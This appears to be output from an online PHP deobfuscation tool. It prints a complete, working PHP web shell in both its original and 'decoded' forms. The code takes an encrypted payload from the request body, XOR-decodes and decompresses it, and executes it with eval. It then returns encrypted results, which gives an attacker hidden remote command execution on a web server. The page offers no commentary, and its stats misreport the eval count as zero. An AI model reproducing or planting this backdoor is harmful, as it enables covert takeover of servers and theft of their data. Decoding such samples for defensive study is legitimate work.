Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$k="5c630617"; $kh="9065c6eed496"; $kf="17c9370b6363"; $p="sApvNtY2uR5RwLAN"; function..

Decoded Output download

<?  $k="5c630617"; 
$kh="9065c6eed496"; 
$kf="17c9370b6363"; 
$p="sApvNtY2uR5RwLAN"; 
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}  ?>

Did this file decode correctly?

Original Code

$k="5c630617";
$kh="9065c6eed496";
$kf="17c9370b6363";
$p="sApvNtY2uR5RwLAN";
function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");} 

Function Calls

preg_match 1
file_get_contents 1

Variables

$k 5c630617
$p sApvNtY2uR5RwLAN
$kf 17c9370b6363
$kh 9065c6eed496

Stats

MD5 a9697728e4c01eefa3f2fd935210744f
Eval Count 0
Decode Time 93 ms